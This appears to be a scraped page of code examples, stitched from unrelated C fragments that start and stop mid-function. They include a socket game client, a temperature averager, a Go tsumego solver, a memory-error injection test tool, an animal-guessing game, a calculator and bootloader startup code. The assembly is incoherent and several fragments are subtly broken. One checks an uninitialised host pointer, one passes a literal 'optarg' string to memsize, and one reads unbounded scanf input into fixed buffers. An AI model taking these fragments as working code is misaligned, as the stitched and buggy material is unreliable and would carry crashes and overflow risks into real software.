		if( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0 )
        {
                printf("\nError! Socket not created...\n");
                exit(0);
        }
        //server=gethostbyname(argv[1]);
	if(server == NULL){
		fprintf(stderr,"ERROR, no such host\n");
		exit(0);
	}
	bzero(&serv,sizeof(serv));
        serv.sin_family=AF_INET;
        serv.sin_port=htons(60607);
        
        if(inet_pton(AF_INET,"127.0.0.1", &serv.sin_addr) < 0)
        {
        
	 printf("\nError in conversion of IP address from string to num\n");
                exit(0);
        }

        if( connect(sockfd,(struct sockaddr*)&serv, sizeof(serv)) <0)
        {
                printf("\nError! Conx not established...\n");
                exit(0);
        }

        printf("\n Connected.... \n");
	//sleep(5);
	//write(sockfd,&flag1,sizeof(flag1));
	//write(sockfd,&flagc1,sizeof(flagc1));
//	write(sockfd,&val,sizeof(val));
	//write(sockfd,&playc,sizeof(playc));
//	cout<<"\nSize of play"<<sizeof(playc);
	playc.flags1=1;
	write(sockfd,&playc.flags1,sizeof(playc.flags1));
	playc.f_Init();
	write(sockfd,&playc.v_opt,sizeof(playc.v_opt));
//	read(sockfd,&playc,sizeof(playc));
//	cout<<"\n"<<n;
//	playc.f_Number();
//	sleep(3);
//	playc.v_opt=1;
//	system("clear");
//	cout<<playc.v_opt;
	
//	write(sockfd,&playc.v_opt,sizeof(playc.v_opt));
	while(1)
	{
		if((len =read(sockfd,&playc.a_a,sizeof(playc.a_a))) > 0)
		{
	    //    cout<<"length is :"<<len;
	//sleep(2);
	//	cout<<"hererasdfsdf"<<len;
		playc.f_Display();
		playc.f_Print();
		playc.f_Msleep(250);
	//	sleep(10);
		if(playc.f_Kbhit())
		{
		//	 playc.flags1=2;
                  //      write(sockfd,&playc.flags1,sizeof(playc.flags1));
                    //   write(sockfd,&playc.a_a,sizeof(playc.a_a));

		   	//system("stty raw");

			playc.flags1=3;

		 	playc.v_ch=getchar();

			write(sockfd,&playc.flags1,sizeof(playc.flags1));
                	write(sockfd,&playc.v_ch,sizeof(playc.v_ch));

			//playc.f_Display1();
			//playc.f_Print();
		 	//system("stty cooked");


			//playc.flags1=3;
		//	playc.f_Msleep(500);
//			write(sockfd,&playc,sizeof(playc));
			//write(sockfd,&playc.flags1,sizeof(playc.flags1));
			//write(sockfd,&playc,sizeof(playc));
		//	playc.flags1=2;
	          //      write(sockfd,&playc.flags1,sizeof(playc.flags1));
        	    //    write(sockfd,&playc.a_a,sizeof(playc.a_a));

		}
		//playc.f_Msleep(600);
		playc.flags1=2;
		write(sockfd,&playc.flags1,sizeof(playc.flags1));	
		write(sockfd,&playc.a_a,sizeof(playc.a_a));
		}    
	}
        close(sockfd);
	  printf("\n");
//	  return 0;


}	
Exemple #15
0
int main(void) {

  const char *inputword = "input",
    *doneword = "done",
    *quitword = "quit";

  char *input = NULL;                 /* Input buffer                                                               */
  float **readings = NULL,            /* List of arrays of readings, one element points to an array of six elements */
    **tmpreadings = NULL;             /* Temporal storage for readings list                                         */
  double *averages = NULL;            /* Storage for averages of each element of the readings list                  */

  unsigned int i, j, k,
    readingslen = 0,
    tmpreadingslen = 0,
    averageslen = 0;

  bool domath = false;


  /* Allocate memory for the input */
  input = (char *)malloc(INPUTSIZE*sizeof(char));
  if(!input) {
    return 1;
  }
  
  /* Explain the user the program usage */
  printf("\nEnter %d temperature readings for an arbitrary number of days to be averaged for each day."
	 "\nUse the words \"%s\", \"%s\" and \"%s\" to finish the program, to start entering readings"
	 "\nand to proceed with the math respectively.\n\n", RDNGSSIZE, quitword, inputword, doneword);
  
  /* Read each day */
  while(1) {
    printf("Input readings for %s day? (%s/%s/%s)$ ",
	   readingslen < 1 ? "first" : "next", inputword, doneword, quitword);

    /* Get answer */
    for(i = 0; i < INPUTSIZE; i++)                /* Read from input         */
      if((*(input + i) = getchar()) == '\n') {
	*(input + i++) = '\0';
	break;                               
      }
    if(i == INPUTSIZE && *(input + i - 1)) {      /* Input size exceeded?    */
      printf("Error! Input buffer size exceeded. Try again.\n");
      while(getchar() != '\n');                   /* Flush the stdin (avoid fflush) */
      continue;
    }
    for(i = 0, j = 0; *(input + j); j++) {       /* Remove spaces from input */
      if(!(*(input + j) == SPACE || *(input + j) == TAB))
	*(input + i++) = tolower(*(input + j));
    }
    *(input + i) = '\0';                         /* Add string terminator    */

    /* If answer is non of the three possible options ask again */
    if(!(strcmp(input, inputword) == 0 || strcmp(input, doneword) == 0 || strcmp(input, quitword) == 0)) {
      printf("Please use one of the following: %s, %s or %s\n", inputword, doneword, quitword);
      continue;
    }

    /* If answer is to quit finish program */
    if(strcmp(input, quitword) == 0) {
      printf("Ok, bye then...\n");
      return 0;
    }

    /* If answer is done, go ahead with the math */
    if(strcmp(input, doneword) == 0) {
      if(readingslen < 1) {
	printf("There are no temperature readings yet, please input some or quit.\n");
	continue;
      }
      else
	domath = true;
      break;
    }    
    
    /* If the answer it to input, Get the required readings and store them in memory */
    if(strcmp(input, inputword) == 0) {

      /* Save the previously entered values in temporal memory space and create more space */
      tmpreadingslen = readingslen;
      tmpreadings = (float **)malloc(tmpreadingslen*sizeof(float *));
      if(!tmpreadings) {
	printf("Error! Unable to allocate memory for the temporal readings list. Finishing program...\n");
	return 1;
      }
      for(i = 0; i < readingslen; i++)
	*(tmpreadings + i) = *(readings + i);
      free(readings);
      readings = NULL;
      readingslen++;
      readings = (float **)malloc(readingslen*sizeof(float *));
      if(!readings) {
	printf("Error! Unable to allocate memory for the new readings list. Finishing program...\n");
	return 1;
      }
      for(i = 0; i < tmpreadingslen; i++)
	*(readings + i) = *(tmpreadings + i);
      free(tmpreadings);
      tmpreadings = NULL;
      /* Allocate memory for the array of readings in the matching element of the readings list */
      *(readings + readingslen - 1) = (float *)calloc(RDNGSSIZE, sizeof(float));
      if(!(*(readings + readingslen - 1))) {
	printf("Error! Unable to allocate memory for the new readings list element. Finishing program..\n");
	return 1;
      }
      /* Read RDNGSSIZE temperature values to input */
      for(i = 0; i < RDNGSSIZE; i++) {
	
	/* Get one temperature reading */
	printf("  Temperature reading #%d or %s? ", i + 1, quitword);
	for(j = 0; j < INPUTSIZE; j++)
	  if((*(input + j) = getchar()) == '\n') {
	    *(input + j++) = '\0';
	    break;
	  }
	if(j == INPUTSIZE && *(input + j - 1)) {
	  printf("Error! Input buffer size exceeded. This reading will be ignored.\n");
	  while(getchar() != '\n');
	  i--;
	  continue;
	}
	for(j = 0, k = 0; *(input + k); k++) {
	  if(!(*(input + k) == SPACE || *(input + k) == TAB))
	    *(input + j++) = tolower(*(input + k));
	}
	*(input + j) = '\0';

	/* If input is to quit finish program */
	if(strcmp(input, quitword) == 0) {
	  printf("Ok, bye then...\n");
	  return 0;
	}
		
	/* Discard input if not numeric */
	if(!(*input == PLUS || *input == MINUS || isdigit(*input))) {
	  printf("Last entered value is not a float. Will be ignored.\n");
	  i--;
	  continue;
	}
	for(j = 1; isdigit(*(input + j)); j++);
	if(*(input + j) != POINT) {
	  if(*(input + j)) {
	    printf("Last entered value is not a float. Will be ignored.\n");
	    i--;
	    continue;      
	  }
	}
	if(*(input + j)) {
	  for(j++; isdigit(*(input + j)); j++);
	  if(*(input + j)) {
	    printf("Last entered value is not a float. Will be ignored.\n");
	    i--;
	    continue;
	  }
	}
	/* Save when numeric */
	(*(readings + readingslen - 1))[i] = atof(input);
      }
      continue;
    }
  }

  /* Input is no loger needed */
  free(input);
  input = NULL;
  
  /* If we have to do the math.. */
  if(domath) {
    
    /* Allocate memory for the averages list */
    averageslen = readingslen;
    averages = (double *)calloc(averageslen, sizeof(double));
    if(!averages) {
      printf("Error! Unable to allocate memory for the averages list. Finishing program..\n");
      return 1;
    }

    /* Calculate each day's average */
    for(i = 0; i < readingslen; i++) {
      for(j = 0; j < RDNGSSIZE; j++)
	averages[i] += (double)(*(readings + i))[j];
        averages[i] /= (double)RDNGSSIZE;
    }

    /* Display results in a suitable table format */
    printf("\nTable of resuts:"
           "\n+-------");
    for(i = 0; i < RDNGSSIZE; i++)
      printf("+-------------");
    printf("+---------+\n");
    printf("| Day #");
    for(i = 0; i < RDNGSSIZE; i++)
      printf(" | Reading #%-2d", i + 1);
    printf(" | Average |\n");
    printf("+-------");
    for(i = 0; i < RDNGSSIZE; i++)
      printf("+-------------");
    printf("+---------+\n");
    for(i = 0; i < readingslen; i++) {
        printf("| %-5d", i + 1);
	for(j = 0; j < RDNGSSIZE; j++)
	  printf(" | %-11.1f", (*(readings + i))[j]);
	printf(" | %-7.1f |\n", averages[i]);
    }
    printf("+-------");
    for(i = 0; i < RDNGSSIZE; i++)
      printf("+-------------");
    printf("+---------+\n");
  }
  return 0;
}
Exemple #16
0
int main(int argc, char *argv[]) {
    #ifdef TEST
        test();
        return 0;
    #endif
    #ifdef REPAIR
        repair(argc, argv);
        return 0;
    #endif
    #ifdef UPGRADE
        upgrade(argc, argv);
        return 0;
    #endif

    int load_sol = 0;
    int resume_sol = 0;
    if (strcmp(argv[argc - 1], "load") == 0) {
        load_sol = 1;
        argc--;
    }
    if (strcmp(argv[argc - 1], "resume") == 0) {
        resume_sol = 1;
        argc--;
    }
    parse_args(argc - 1, argv + 1);

    int width = board_width;
    int height = board_height;
    if (board_width >= 10) {
        fprintf(stderr, "Width must be less than 10.\n");
        exit(EXIT_FAILURE);
    }
    if (board_height >= 8) {
        fprintf(stderr, "Height must be less than 8.\n");
        exit(EXIT_FAILURE);
    }

    #include "tsumego.c"

    state base_state_;
    state *base_state = &base_state_;

    char sol_name[64] = "unknown";
    char temp_filename[128];
    char filename[128];
    if (board_width > 0) {
        *base_state = (state) {rectangle(width, height), 0, 0, 0, 0};
        sprintf(sol_name, "%dx%d", width, height);
    }
    else {
        int i;
        int found = 0;

        for (i = 0; tsumego_infos[i].name; ++i) {
            if (!strcmp(tsumego_name, tsumego_infos[i].name)) {
                *base_state = *(tsumego_infos[i].state);
                strcpy(sol_name, tsumego_name);
                found = 1;
                break;
            }
        }
        if (!found) {
            fprintf(stderr, "unknown tsumego: `%s'\n", tsumego_name);
            exit(EXIT_FAILURE);
        }
    }
    base_state->ko_threats = ko_threats;

    sprintf(temp_filename, "%s_temp.dat", sol_name);


    state_info si_;
    state_info *si = &si_;
    init_state(base_state, si);

    if (si->color_symmetry) {
        num_layers = 2 * abs(base_state->ko_threats) + 1;
    }
    else if (num_layers <= 0) {
        num_layers = abs(base_state->ko_threats) + 1;
    }
    else {
        assert(num_layers >= abs(base_state->ko_threats) + 1);
    }

    print_state(base_state);
    for (int i = 0; i < si->num_external; i++) {
        print_stones(si->externals[i]);
    }
    printf(
        "width=%d height=%d c=%d v=%d h=%d d=%d\n",
        si->width,
        si->height,
        si->color_symmetry,
        si->mirror_v_symmetry,
        si->mirror_h_symmetry,
        si->mirror_d_symmetry
    );

    state s_;
    state *s = &s_;

    dict d_;
    dict *d = &d_;

    solution sol_;
    solution *sol = &sol_;
    sol->base_state = base_state;
    sol->si = si;
    sol->d = d;
    sol->num_layers = num_layers;
    size_t num_states;

    // Re-used at frontend. TODO: Allocate a different pointer.
    state child_;
    state *child = &child_;

    if (load_sol) {
        goto frontend;
    }

    if (resume_sol) {
        char *buffer = file_to_buffer(temp_filename);
        buffer = load_solution(sol, buffer, 1);
        num_states = num_keys(sol->d);
        if (sol->leaf_rule == japanese_double_liberty) {
            goto iterate_capture;
        }
        else {
            goto iterate_japanese;
        }
    }

    size_t k_size = key_size(sol->si);
    if (!sol->si->color_symmetry) {
        k_size *= 2;
    }
    init_dict(sol->d, k_size);

    size_t total_legal = 0;
    for (size_t k = 0; k < k_size; k++) {
        if (!from_key_s(sol, s, k, 0)){
            continue;
        }
        total_legal++;
        size_t layer;
        size_t key = to_key_s(sol, s, &layer);
        assert(layer == 0);
        add_key(sol->d, key);
    }
    finalize_dict(sol->d);
    num_states = num_keys(sol->d);

    printf("Total positions %zu\n", total_legal);
    printf("Total unique positions %zu\n", num_states);

    node_value **base_nodes = (node_value**) malloc(sol->num_layers * sizeof(node_value*));
    for (size_t i = 0; i < sol->num_layers; i++) {
        base_nodes[i] = (node_value*) malloc(num_states * sizeof(node_value));
    }
    value_t *leaf_nodes = (value_t*) malloc(num_states * sizeof(value_t));

    lin_dict ko_ld_ = (lin_dict) {0, 0, 0, NULL};
    lin_dict *ko_ld = &ko_ld_;

    sol->base_nodes = base_nodes;
    sol->leaf_nodes = leaf_nodes;
    sol->ko_ld = ko_ld;

    size_t child_key;
    size_t key = sol->d->min_key;
    for (size_t i = 0; i < num_states; i++) {
        assert(from_key_s(sol, s, key, 0));
        // size_t layer;
        // assert(to_key_s(sol, s, &layer) == key);
        sol->leaf_nodes[i] = 0;
        for (size_t k = 0; k < sol->num_layers; k++) {
            (sol->base_nodes[k])[i] = (node_value) {VALUE_MIN, VALUE_MAX, DISTANCE_MAX, DISTANCE_MAX};
        }
        for (int j = 0; j < STATE_SIZE; j++) {
            *child = *s;
            int prisoners;
            if (make_move(child, 1ULL << j, &prisoners)) {
                if (target_dead(child)) {
                    continue;
                }
                if (child->ko) {
                    size_t child_layer;
                    child_key = to_key_s(sol, child, &child_layer);
                    add_lin_key(sol->ko_ld, child_key);
                }
            }
        }
        key = next_key(sol->d, key);
    }

    finalize_lin_dict(sol->ko_ld);

    node_value **ko_nodes = (node_value**) malloc(sol->num_layers * sizeof(node_value*));
    sol->ko_nodes = ko_nodes;
    for (size_t i = 0; i < sol->num_layers; i++) {
        sol->ko_nodes[i] = (node_value*) malloc(sol->ko_ld->num_keys * sizeof(node_value));
    }
    printf("Unique positions with ko %zu\n", sol->ko_ld->num_keys);

    for (size_t i = 0; i < sol->ko_ld->num_keys; i++) {
        for (size_t k = 0; k < sol->num_layers; k++) {
            sol->ko_nodes[k][i] = (node_value) {VALUE_MIN, VALUE_MAX, DISTANCE_MAX, DISTANCE_MAX};
        }
    }

    #ifdef CHINESE
    printf("Negamax with Chinese rules.\n");
    sol->count_prisoners = 0;
    sol->leaf_rule = chinese_liberty;
    iterate(sol, temp_filename);
    #endif

    // NOTE: Capture rules may refuse to kill stones when the needed nakade sacrifices exceed triple the number of stones killed.
    printf("Negamax with capture rules.\n");
    sol->count_prisoners = 1;
    sol->leaf_rule = japanese_double_liberty;
    iterate_capture:
    iterate(sol, temp_filename);

    sprintf(filename, "%s_capture.dat", sol_name);
    FILE *f = fopen(filename, "wb");
    save_solution(sol, f);
    fclose(f);


    calculate_leaves(sol);

    // Clear the rest of the tree.
    for (size_t j = 0; j < sol->num_layers; j++) {
        for (size_t i = 0; i < num_states; i++) {
            sol->base_nodes[j][i] = (node_value) {VALUE_MIN, VALUE_MAX, DISTANCE_MAX, DISTANCE_MAX};
        }
        for (size_t i = 0; i < sol->ko_ld->num_keys; i++) {
            sol->ko_nodes[j][i] = (node_value) {VALUE_MIN, VALUE_MAX, DISTANCE_MAX, DISTANCE_MAX};
        }
    }

    printf("Negamax with Japanese rules.\n");
    sol->count_prisoners = 1;
    sol->leaf_rule = precalculated;
    iterate_japanese:
    iterate(sol, temp_filename);

    sprintf(filename, "%s_japanese.dat", sol_name);
    f = fopen(filename, "wb");
    save_solution(sol, f);
    fclose(f);

    frontend:
    if (load_sol) {
        sprintf(filename, "%s_japanese.dat", sol_name);
        char *buffer = file_to_buffer(filename);
        buffer = load_solution(sol, buffer, 1);
    }

    *s = *sol->base_state;

    char coord1;
    int coord2;

    int total_prisoners = 0;
    int turn = 0;

    while (1) {
        size_t layer;
        size_t key = to_key_s(sol, s, &layer);
        node_value v = negamax_node(sol, s, key, layer, 0);
        print_state(s);
        if (turn) {
            print_node((node_value) {total_prisoners - v.high, total_prisoners - v.low, v.high_distance, v.low_distance});
        }
        else {
            print_node((node_value) {total_prisoners + v.low, total_prisoners + v.high, v.low_distance, v.high_distance});
        }
        if (target_dead(s) || s->passes >= 2) {
            break;
        }
        for (int j = -1; j < STATE_SIZE; j++) {
            *child = *s;
            stones_t move;
            if (j == -1){
                move = 0;
            }
            else {
                move = 1ULL << j;
            }
            char c1 = 'A' + (j % WIDTH);
            char c2 = '0' + (j / WIDTH);
            int prisoners;
            if (make_move(child, move, &prisoners)) {
                size_t child_layer;
                size_t child_key = to_key_s(sol, child, &child_layer);
                node_value child_v = negamax_node(sol, child, child_key, child_layer, 0);
                if (sol->count_prisoners) {
                    if (child_v.low > VALUE_MIN && child_v.low < VALUE_MAX) {
                        child_v.low = child_v.low - prisoners;
                    }
                    if (child_v.high > VALUE_MIN && child_v.high < VALUE_MAX) {
                        child_v.high = child_v.high - prisoners;
                    }
                }
                if (move) {
                    printf("%c%c", c1, c2);
                }
                else {
                    printf("pass");
                }
                if (-child_v.high == v.low) {
                    printf("-");
                    if (child_v.high_distance + 1 == v.low_distance) {
                        printf("L");
                    }
                    else {
                        printf("l");
                    }
                }
                if (-child_v.high == v.low) {
                    printf("-");
                    if (child_v.low_distance + 1 == v.high_distance) {
                        printf("H");
                    }
                    else {
                        printf("h");
                    }
                }
                printf(" ");
            }
        }
        printf("\n");
        printf("Enter coordinates:\n");
        assert(scanf("%c %d", &coord1, &coord2));
        int c;
        while ((c = getchar()) != '\n' && c != EOF);
        coord1 = tolower(coord1) - 'a';
        stones_t move;
        if (coord1 < 0 || coord1 >= WIDTH) {
            // printf("%d, %d\n", coord1, coord2);
            move = 0;
        }
        else {
            move = 1ULL << (coord1 + V_SHIFT * coord2);
        }
        int prisoners;
        if (make_move(s, move, &prisoners)) {
            if (turn) {
                total_prisoners -= prisoners;
            }
            else {
                total_prisoners += prisoners;
            }
            turn = !turn;
        }
    }

    return 0;
}
int PicBuf_to_UIS(const GEN_PAR * pg, const OUT_PAR * po)
{
	int byte_c, xoff, yoff;
	unsigned long row_c, x1, x2, rw, rh, bpp, zero = 0, two = 2;
	const RowBuf *row;
	const PicBuf *pb;

	float x0f, y0f, x1f, y1f, w, h;
	int c_old, c_new, i;
	unsigned vd_id, wd_id;
	char *target = "sys$workstation";
	static float intens[2] = { 1.0, 0.0 };
	static unsigned atb = 1;

	struct dsc$descriptor_s s_desc;

	if (pg == NULL || po == NULL)
		return ERROR;
	pb = po->picbuf;
	if (pb == NULL)
		return ERROR;

	if (pb->depth > 1) {
		Eprintf
		    ("\nUIS preview does not support colors yet -- sorry\n");
		return ERROR;
	}

	if (!pg->quiet) {
		Eprintf("\nUIS preview follows\n");
		Eprintf("Press <return> to end\n");
	}

	xoff = po->xoff * po->dpi_x / 25.4;
	yoff = po->yoff * po->dpi_y / 25.4;

	if ((!pg->quiet) &&
	    (((pb->nb << 3) + xoff > 1024) || (pb->nr + yoff > 1024))) {
		Eprintf("\n\007WARNING: Picture won't fit!\n");
		Eprintf("Current range: (%d..%d) x (%d..%d) pels\n",
			xoff, (pb->nb << 3) + xoff, yoff, pb->nr + yoff);
		Eprintf("Continue anyway (y/n)?: ");
		if (toupper(getchar()) != 'Y')
			return;
	}

	x0f = y0f = 0.0;	/* No offsets yet       */
	x1f = (float) (pb->nb << 3);
	y1f = (float) pb->nr;
	w = (float) po->width / 10.0;	/* VAX needs cm, not mm */
	h = (float) po->height / 10.0;

	vd_id = uis$create_display(&x0f, &y0f, &x1f, &y1f, &w, &h);
	uis$disable_display_list(&vd_id);
	uis$set_intensities(&vd_id, &zero, &two, intens);

	s_desc.dsc$w_length = strlen(target);
	s_desc.dsc$a_pointer = target;
	s_desc.dsc$b_class = DSC$K_CLASS_S;
	s_desc.dsc$b_dtype = DSC$K_DTYPE_T;
	wd_id = uis$create_window(&vd_id, &s_desc);

	x1 = 0;
	x2 = pb->nc;
	rw = pb->nc;
	rh = 1;
	bpp = 1;

	for (row_c = 0; row_c < pb->nr; row_c++) {	/* for all pixel rows */
/**
 ** Unfortunately, we need a bit reversal in each byte here:
 **/
		row = get_RowBuf(pb, row_c);
		if (row == NULL)
			continue;
		for (byte_c = 0; byte_c < pb->nb; byte_c++) {
			c_old = row->buf[byte_c];

			if (c_old == 0)	/* all white        */
				continue;
			if (c_old == 0xff)	/* all black        */
				continue;

			for (i = 0, c_new = 0;;) {
				if (c_old & 1)
					c_new |= 1;
				if (++i == 8)	/* 8 bits, 7 shifts */
					break;
				c_new <<= 1;
				c_old >>= 1;
			}
			row->buf[byte_c] = c_new;
		}

		uisdc$image(&wd_id, &atb, &x1, &row_c, &x2, &row_c,
			    &rw, &rh, &bpp, row->buf);
	}
	getchar();
	uis$delete_display(&vd_id);
	return 0;
}
int main (int argc, char** argv) {                                     
	int  ret, c;
	int i, repeat = 5;
	int cpu = 2;
	static int errortype = 1;
	static int verbose = 1;
	static int disableHuge = 0;
	static int madvisePoison = 0;
	static int poll_exit=0;
	static long length;
 	struct bitmask *nodes, *gnodes;
	int gpolicy;
	unsigned long error_opt;

	void *vaddrmin = (void *)-1UL, *vaddrmax = NULL;

        static size_t           pdcount=0;
        unsigned long           mattr, addrend, pages, count, nodeid, paddr = 0;
        unsigned long           addr_start=0, nodeid_start=-1, mattr_start=-1;
        unsigned int            pagesize = getpagesize();
        char                    pte_str[20];

        struct dlook_get_map_info req;
        static page_desc_t        *pdbegin=NULL;
        page_desc_t               *pd, *pdend;

	length = memsize("100k");
	nodes  = numa_allocate_nodemask();
	gnodes = numa_allocate_nodemask();
	progname = argv[0];


	while (1)
	{
		static struct option long_options[] =
		{
		  {"verbose",       no_argument,       &verbose, 1},
		  {"delay",         no_argument,       &delay, 1},
		  {"disableHuge",   no_argument,       &disableHuge, 1},
		  {"poll",          no_argument,       &poll_exit, 1},
		  {"madvisePoison", no_argument,       &madvisePoison, 1},
		  {"manual",        no_argument,       &manual, 1},
		  {"cpu",           required_argument, 0, 'c'},
		  {"errortype",     required_argument, 0, 'e'},
		  {"help",          no_argument,       0, 'h'},
		  {"length",        required_argument, 0, 'l'}
		};
		/* getopt_long stores the option index here. */
		int option_index = 0;

		c = getopt_long (argc, argv, "hc:e:l:",
			       long_options, &option_index);

		/* Detect the end of the options. */
		if (c == -1)
		break;

		switch (c)
		{
			case 'c':
                          cpu = atoi(optarg);
			  break;
			case 'e':
                          errortype = atoi(optarg);
			  break;
			case 'h':
			  help();
			case 'l':
			  /* Not exposed */
			  printf ("option -l with value `%s'\n", optarg);
			  length = memsize("optarg");
			  break;
			case '?':
			  /* getopt_long already printed an error message. */
			  exit(-1);
		}
	}

	cpu_process_setaffinity(getpid(), cpu);

	error_opt = get_etype(errortype);

	buf = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);

        if (mbind((void *)buf, length,  MPOL_DEFAULT, nodes->maskp, nodes->size, 0) < 0){
                perror("mbind error\n");
        } 
	/* Disable Hugepages */
	if (disableHuge)
		madvise((void *)buf, length, MADV_NOHUGEPAGE);

	if (madvisePoison)
		madvise((void *)buf, length,MADV_HWPOISON );

    	gpolicy = -1;
        if (get_mempolicy(&gpolicy, gnodes->maskp, gnodes->size, (void *)buf, MPOL_F_ADDR) < 0)
                perror("get_mempolicy");
        if (!numa_bitmask_equal(gnodes, nodes)) {
                printf("nodes differ %lx, %lx!\n", gnodes->maskp[0], nodes->maskp[0]);
        }

	strcpy(pte_str, "");
        addrend = ((unsigned long)buf)+length;        
        pages = (addrend-((unsigned long)buf))/pagesize;

        if (pages > pdcount) {
                pdbegin = realloc(pdbegin, sizeof(page_desc_t)*pages);
                pdcount = pages;
        }

        req.pid = getpid();
        req.start_vaddr = (unsigned long)buf;
        req.end_vaddr = addrend;
        req.pd = pdbegin;

	sigaction(SIGBUS, &recover_act, NULL);

	/*Fault in Pages */
	if(!poll_exit)
		hog((void *)buf, length);

	/* Get mmap phys_addrs */
	if ((fd = open(UVMCE_DEVICE, O_RDWR)) < 0) {                 
		printf("Failed to open: %s\n", UVMCE_DEVICE);  
		exit (1);                                     
	}                                               
	    
	if (ioctl(fd, UVMCE_DLOOK, &req ) < 0){        
		printf("Failed to INJECT_UCE\n");
		exit(1);                                      
	}                                               


	process_map(pd,pdbegin, pdend, pages, buf, addrend, pagesize, mattr,
		    nodeid, paddr, pte_str, nodeid_start, mattr_start, addr_start);

	printf("\n\tstart_vaddr\t 0x%016lx length\t 0x%x\n\tend_vaddr\t 0x%016lx pages\t %ld\n", 
		 buf , length, addrend, pages);


	uv_inject(pd,pdbegin, pdend, pages, (unsigned long)buf, addrend, pagesize, mattr,
		    nodeid, paddr, pte_str, nodeid_start, 
		    mattr_start, addr_start, error_opt);

	
	if (delay){
		printf("Enter char to consume bad memory..");
		getchar();
	}

	if (error_opt !=  UVMCE_PATROL_SCRUB_UCE){
		consume_it((void *)buf, length);
	}
out:
	close(fd);                                      
	return 0;                                       
}
NodoArbol * Recursiva(NodoArbol ** ptr_NodoActual)
{
  char opc='\0';
  char animalNvo[100], preguntaNvo[100];
  char * preguntaN, * animalN;
    
  NodoArbol * ptr_NodoPadreNvo = (NodoArbol *) NULL;
  NodoArbol * ptr_NodoHijoNvo = (NodoArbol *) NULL;
   
    if(   ( (*ptr_NodoActual)->ptr_izquierdo) && ( (*ptr_NodoActual)->ptr_derecho)  ) //si llego a una pregunta
      {  
	
	do{
		printf("[PREGUNTA]");
		
		printf("\n\n\t==>Es un Animal -%s- ?[ s/n ]",(char *) (*ptr_NodoActual)->dato );
		printf("-->"); 
	     opc=getc(stdin);
	     while(getchar()!='\n');
		 switch( opc )
		{
		  
		  case 's' ://(*ptr_NodoActual)->ptr_izquierdo=
		     return Recursiva(&((*ptr_NodoActual)->ptr_izquierdo));
		  break;
		  
		  case 'n' ://(*ptr_NodoActual)->ptr_derecho=
		    return Recursiva(&((*ptr_NodoActual)->ptr_derecho) );
		  break;
		  
		  case 'q':
		    return (NodoArbol *) NULL;
		  break;
		  
		  default:printf("\n<Opcion Incorrecta>\n");
		}
		
	}while( 1 );
	
      }
      else //si llego a una hoja
      {
		
	do{
		printf("[HOJA]");
		printf("\n\n\t(Hoja)El animal que pensaste es -%s- ?[ s/n ]",(char *) ((*ptr_NodoActual)->dato));
		printf("-->"); //scanf("%c",&opc); 
	   
	     opc=getc(stdin);
	     while(getchar()!='\n');
		 switch( opc )
		{
		   
		    case 's' : printf("\n\t\t~El programa adivino exitosamente el animal que pensaste~\n");return *ptr_NodoActual; 
		     break;
		  
		    case 'n' :
		      printf("\n\t\t=>Ok, en que animal pensaste-->");
				  scanf("%s",animalNvo);
		      printf("\n\t\t=>Menciona una dierencia entre %s y %s-->",(char * ) (*ptr_NodoActual)->dato, animalNvo);
				  scanf("%s",preguntaNvo);
		     
				   preguntaN = strdup(&preguntaNvo);
				   animalN = strdup(&animalNvo);
		      
			  ptr_NodoHijoNvo = CreaNodoArb( (void *) (animalN), (NodoArbol * ) NULL ,  (NodoArbol * )NULL );
			  ptr_NodoPadreNvo = CreaNodoArb( (void *) (preguntaN), ptr_NodoHijoNvo,  *ptr_NodoActual);
					      
			  *ptr_NodoActual =  ptr_NodoPadreNvo;
					
					      
			printf("\n\t\t~El programa a aprendido un nuevo animal llamado %s y es %s~\n\n",  animalN, preguntaN);
				
				return *ptr_NodoActual;
		  break;
		  
		    case 'q':
			    return (NodoArbol *) NULL;
		    break;
		  
		    default:printf("\n<Opcion Incorrecta>\n");
		}
		
	}while( 1 );
	
      }
      
  }
Exemple #20
0
int main(int argc, char *argv[]){

    int x, y;
    char operator;
    int result;
    int is_valid;

    // keep looping until exit
    while(TRUE){

        is_valid = TRUE;

        int n = scanf("%d %c %d", &x, &operator, &y);
        
        // stdin should provide 3 arguments
        if(n!=3){
            printf("Valid input: number operator number, e.g. 3 + 4 \n");
            return 0;
        }else{

           /* consume the rest of characters in stdin buffer
            in case of the input like 12 + 3a
            causes unexpected behavior for the next round*/

            while(getchar() != '\n');
        }

        switch (operator){
            case '+':
                result = add(x,y);
                break;
            case '-':
                result = sub(x,y);
                break;
            case '*':
                result = mul(x,y);
                break;
            case '/':
                if(y == 0){
                    is_valid = FALSE;
                    printf("The divisor cannot be 0.\n");
                }
                else
                    result = cdiv(x,y);
                break;
            case '%':
                if(y == 0){
                    is_valid = FALSE;
                    printf("The divisor cannot be 0.\n");
                }
                else
                    result = mod(x,y);
                break;
            default:
                is_valid = FALSE;
                printf("Valid operators: +, -, *, /, %% \n");
                break;
        }

        if(is_valid)
            printf("%d\n", result);
        else
            return 0;
    }

    return 0;
}
Exemple #21
0
//==========================================================================
// The 'main' function for the booter. Called by boot0 when booting
// from a block device, or by the network booter.
//
// arguments:
//	 biosdev - Value passed from boot1/NBP to specify the device
//			   that the booter was loaded from.
//
// If biosdev is kBIOSDevNetwork, then this function will return if
// booting was unsuccessful. This allows the PXE firmware to try the
// next boot device on its list.
void common_boot(int biosdev)
{
	bool	 		quiet;
	bool	 		firstRun = true;
	bool	 		instantMenu;
	bool	 		rescanPrompt;
	int				status;
	unsigned int	allowBVFlags = kBVFlagSystemVolume | kBVFlagForeignBoot;
	unsigned int	denyBVFlags = kBVFlagEFISystem;

	// Set reminder to unload the PXE base code. Neglect to unload
	// the base code will result in a hang or kernel panic.
	gUnloadPXEOnExit = true;

	// Record the device that the booter was loaded from.
	gBIOSDev = biosdev & kBIOSDevMask;
    
    // Initialize boot-log
    initBooterLog();

	// Initialize boot info structure.
	initKernBootStruct();

	// Setup VGA text mode.
	// Not sure if it is safe to call setVideoMode() before the
	// config table has been loaded. Call video_mode() instead.
#if DEBUG
	printf("before video_mode\n");
#endif
	video_mode( 2 );  // 80x25 mono text mode.
#if DEBUG
	printf("after video_mode\n");
#endif

	// Scan and record the system's hardware information.
	scan_platform();

	// First get info for boot volume.
	scanBootVolumes(gBIOSDev, 0);
	bvChain = getBVChainForBIOSDev(gBIOSDev);
	setBootGlobals(bvChain);

	// Load boot.plist config file
	status = loadChameleonConfig(&bootInfo->chameleonConfig, bvChain);

	if (getBoolForKey(kQuietBootKey, &quiet, &bootInfo->chameleonConfig) && quiet) {
